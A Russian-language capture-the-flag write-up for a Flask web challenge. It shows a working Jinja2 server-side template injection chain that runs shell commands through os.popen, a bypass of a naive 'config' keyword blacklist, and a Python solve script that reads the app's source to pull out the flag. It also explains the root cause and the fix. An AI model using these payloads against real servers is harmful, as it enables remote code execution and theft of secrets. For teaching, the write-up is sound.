Mem generator: writeup
Ссылка на задание http://f8tasks.ru/challenges#Mem%20generator-7
Mem generator
| Category | Web |
| Difficulty | Medium |
| Vulnerability | SSTI (Jinja2 / Flask) |
| Flag | flag{e4rth_4nd_ch1k1b4mb0ni} |
Recon
Стив вышел на прогулку и увидел ЭТО. Что же он увидел. Адрес: wsr.gmax.pro:33701.
Артефакты: живой HTTP-сервис; вместе с условием выданы API-ключ и пример запроса.
curl -i -s http://wsr.gmax.pro:33701/
Ключевые наблюдения:
Server: Werkzeug/0.15.5 Python/3.7.12— Python/Flask на сервере.- Форма
POST /с полемmeme_textи чекбоксомrzhaka_maximum. - Статика:
/static/meme.png,/static/main.css,/static/font.ttf. - В условии уже присутствует пример с
{{7*7}}— классическая SSTI-проверка для Jinja2.
Обычный POST отражает ввод обратно в HTML:
curl -s -X POST http://wsr.gmax.pro:33701/ -d 'meme_text=test'
# <div class="meme">test</div>
Ввод отражён. Следующий вопрос: как именно — как текст, как HTML или как шаблон?
API-ключ добавляет только <script src="/static/rzhaka.js"></script> и визуальный эффект. К флагу он отношения не имеет.
Server-Side Template Injection
SSTI (Server-Side Template Injection) — уязвимость, при которой пользовательский ввод попадает в шаблонизатор и исполняется как код, а не отображается как текст.
Стандартная проверка:
{{7*7}}
Если сервер вернёт 49 вместо строки {{7*7}} — ввод исполняется шаблонизатором.
Ручная проверка:
curl -s -X POST http://wsr.gmax.pro:33701/ -d 'meme_text={{7*7}}'
# <div class="meme">49</div>
49 — SSTI подтверждена. Сервер вычислил 7*7, а не вернул строку.
Таблица интерпретации ответа на {{7*7}}:
| Ответ | Вывод |
|---|---|
{{7*7}} | Шаблон не исполняется |
49 | SSTI подтверждена |
| Ошибка шаблонизатора | SSTI есть, payload сломал рендер |
| Пустой ответ / 500 | Возможно есть, нужен другой payload |
Exploitation
В Flask объект request доступен в каждом шаблоне. Через него можно дотянуться до глобального пространства Python — и из него импортировать модуль os.
Цепочка эскалации:
{{request}} — объект Flask Request
{{request.application}} — Flask-приложение
{{request.application.__globals__}} — глобальные объекты Python
{{....__builtins__.__import__("os")}} — модуль os
{{....popen("id").read()}} — выполнение команды
Прямой путь через {{config}} заблокирован сервером (Ваш мем содержит запрещенную мнемонику 😳) — это наивный blacklist на слово config. Он не закрывает атаку: request в чёрный список не внесён.
| Шаг | Payload | Результат |
|---|---|---|
| 1 | {{7*7}} | 49 — SSTI подтверждена |
| 2 | {{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}} | uid=0(root) gid=0(root) — RCE |
| 3 | {{...popen("sed -n \"1,220p\" /app/app.py").read()}} | исходник app.py |
| 4 | — | app.config['SECRET_KEY'] = 'flag{e4rth_4nd_ch1k1b4mb0ni}' |
Root cause — строка в app.py:
render_template_string('<div class="meme">%s</div>' % text)
text вставляется в строку шаблона через %s, после чего Jinja2 её исполняет. Безопасный вариант — передавать text как переменную в статический шаблонный файл: тогда Jinja2 экранирует его и не исполняет.
Automation
from __future__ import annotations
import html
import re
from dataclasses import dataclass
import requests
URL = "http://wsr.gmax.pro:33701/"
@dataclass
class StepResult:
name: str
payload: str
output: str
def send(payload: str) -> str:
response = requests.post(URL, data={"meme_text": payload}, timeout=20)
response.raise_for_status()
return response.text
def extract_meme(html_text: str) -> str:
# извлекаем только содержимое <div class="meme">...</div>
match = re.search(r'<div class="meme">(.*?)</div>', html_text, re.S)
if not match:
return html_text.strip()
return html.unescape(match.group(1)).strip()
def run_step(name: str, payload: str) -> StepResult:
response = send(payload)
return StepResult(name=name, payload=payload, output=extract_meme(response))
def main() -> None:
steps = [
run_step("SSTI check", "{{7*7}}"),
run_step(
"RCE check",
'{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}',
),
run_step(
"Read app.py",
'{{request.application.__globals__.__builtins__.__import__("os").popen("sed -n \\\"1,220p\\\" /app/app.py").read()}}',
),
]
for step in steps:
print(f"=== {step.name} ===")
print(f"Payload: {step.payload}")
print(step.output)
print()
# ищем флаг в выводе последнего шага
flag_match = re.search(r"flag\{[^}]+\}", steps[-1].output)
if flag_match:
print(f"FLAG: {flag_match.group(0)}")
else:
print("FLAG: not found")
if __name__ == "__main__":
main()
python3 solve.py
Ожидаемый вывод:
=== SSTI check ===
Payload: {{7*7}}
49
=== RCE check ===
Payload: {{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}
uid=0(root) gid=0(root) groups=0(root),...
=== Read app.py ===
...
FLAG: flag{e4rth_4nd_ch1k1b4mb0ni}
Key Takeaways
SSTI. Если сервер исполняет пользовательский ввод как шаблон, злоумышленник может выйти к Python-объектам и выполнить произвольный код. Проверка — payload
{{7*7}}: вернулось49вместо строки, значит шаблонизатор работает на вашем вводе.Blacklist не защищает. Запрет одного слова (
config) не закрывает SSTI — есть десятки других путей к тем же объектам. Единственная надёжная защита — не передавать пользовательский ввод вrender_template_string.Payload ladder. Эксплуатацию строят ступенями: подтверждение SSTI → доступ к Python-объектам → RCE → чтение кода → флаг. Каждый шаг доказывает следующий.
